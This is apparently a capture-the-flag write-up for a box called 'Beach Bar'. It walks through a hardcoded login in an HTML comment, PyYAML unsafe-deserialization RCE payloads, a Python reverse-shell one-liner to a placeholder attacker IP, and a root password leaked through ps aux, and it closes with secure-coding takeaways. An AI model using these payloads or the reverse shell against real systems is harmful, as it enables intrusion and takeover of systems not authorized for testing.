Beach Bar is a themed easy-difficulty box centered around a Flask web app ("jukebox manager") for a beach bar. The path to root runs through a hidden demo credential, an unsafe YAML deserialization RCE, and a plaintext password leaked in a running process's command-line arguments.
dj/dj) in an HTML commentyaml.load(Loader=yaml.Loader) lets us execute arbitrary Python via !!python/object/applybartenderps aux output of a systemd service, reused for su root1Recon
Port scan
Only two ports open:
- 22 — SSH
- 80 — HTTP
Directory enumeration
gobuster dir -u http://<TARGET_IP> -w common.txt
/dashboard (Status: 302) --> /login
/export (Status: 302) --> /login
/import (Status: 302) --> /login
/login (Status: 200)
/logout (Status: 302) --> /login
All app routes require authentication and redirect to /login.
Source inspection — hardcoded credential
Viewing the page source of /login reveals an HTML comment left in by developers:
<!-- staff note: the demo DJ login is still enabled for the soft opening.
dj / dj -- swap this before the season starts (ticket BAR-7) -->
dj / dj — grants access to /dashboard, /export, and /import.
2Exploitation — Unsafe YAML Deserialization (RCE)
The /import page allows uploading or pasting a YAML "playlist" file.
Submitted YAML is parsed and the resulting Python object is echoed back to the page.
Root cause
The application source (/opt/beach-bar/webapp/app.py) shows the vulnerable line:
parsed = yaml.load(content, Loader=yaml.Loader)
Using yaml.Loader (instead of yaml.safe_load() /
yaml.SafeLoader) allows YAML tags like !!python/object/apply
to instantiate arbitrary Python objects and call arbitrary functions during
parsing — a well-known PyYAML RCE primitive.
Proof of concept
harmless_test: !!python/object/apply:os.system
args: ['id']
The app echoed back:
{'harmless_test': 0}
0 confirmed the command executed successfully (exit code), even though
os.system doesn't return output directly.
To capture actual output, subprocess.check_output was used instead:
harmless_test: !!python/object/apply:subprocess.check_output
args: ['id']
kwds: {shell: true}
Result:
{'harmless_test': b'uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)\n'}
bartender user.
Getting a shell
Standard Python reverse shell one-liner, executed via the same primitive
(more reliable than nc -e, since target nc builds often
lack -e support):
harmless_test: !!python/object/apply:os.system
args:
- "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<ATTACKER_IP>\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
Listener:
nc -lvnp 4444
tun0), not a LAN/Wi-Fi IP — the target's routes only cover the
VPN subnet.
Upgrade the shell to a full PTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# locally: Ctrl+Z, then
stty raw -echo; fg
export TERM=xterm
3Privilege Escalation — Credential in Process Arguments
Enumeration
Checked sudo -l — required a password, bartender had no known creds yet.
Checked running processes:
ps aux | grep -i jukebox
root 606 ... /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py \
--stream-pass ************ --bitrate 320k
jukeboxd.service, a
systemd-managed "streaming daemon") was started with a plaintext password
passed as a command-line argument. Process arguments are
visible to any local user via ps aux regardless of file
permissions on the script itself — a classic and common misconfiguration.
Inspecting jukeboxd.py (world-readable) confirmed the
--stream-pass value is accepted via argparse but never
actually consumed by the script logic — it exists purely as the leaked secret,
not a functional credential for the daemon itself.
Escalation
The leaked value was tested for credential reuse:
su root
Password: ***********
bartender → root
Dead ends encountered (for completeness)
Several other avenues were checked and ruled out during enumeration — useful context for anyone replicating the box:
| Vector | Result |
|---|---|
sudo -l | No rights — leaked password does not work for sudo, only direct su |
| Cron jobs | Default Ubuntu housekeeping only, nothing custom |
| SUID binaries / capabilities | Standard system binaries only, nothing exploitable |
Shared venv (/opt/beach-bar/venv) | Fully root-owned, not writable by bartender |
| Gunicorn master (root, port 80) | Forks workers that drop to bartender immediately — no preload injection path |
/home/ubuntu | Directory listable, but .ssh / .bash_history are 600/700 |
✓Key Takeaways
- Never load YAML with
yaml.Loaderon untrusted input. Always useyaml.safe_load(). Tags like!!python/object/applyallow arbitrary code execution during parsing — a top-tier, well-documented PyYAML pitfall. - Never pass secrets as CLI arguments to a process, especially
one running as a higher-privileged user (
root) that unprivileged local users can query viaps aux,/proc/<pid>/cmdline, etc. Use environment files, secret managers, or restricted config files instead. - Don't reuse passwords across purposes — the same string protected both a (non-functional) streaming daemon flag and the actual root account.
- HTML comments are not private. The
dj/djdemo credential left in a comment is a reminder that anything shipped to the client — including comments — is visible to an attacker.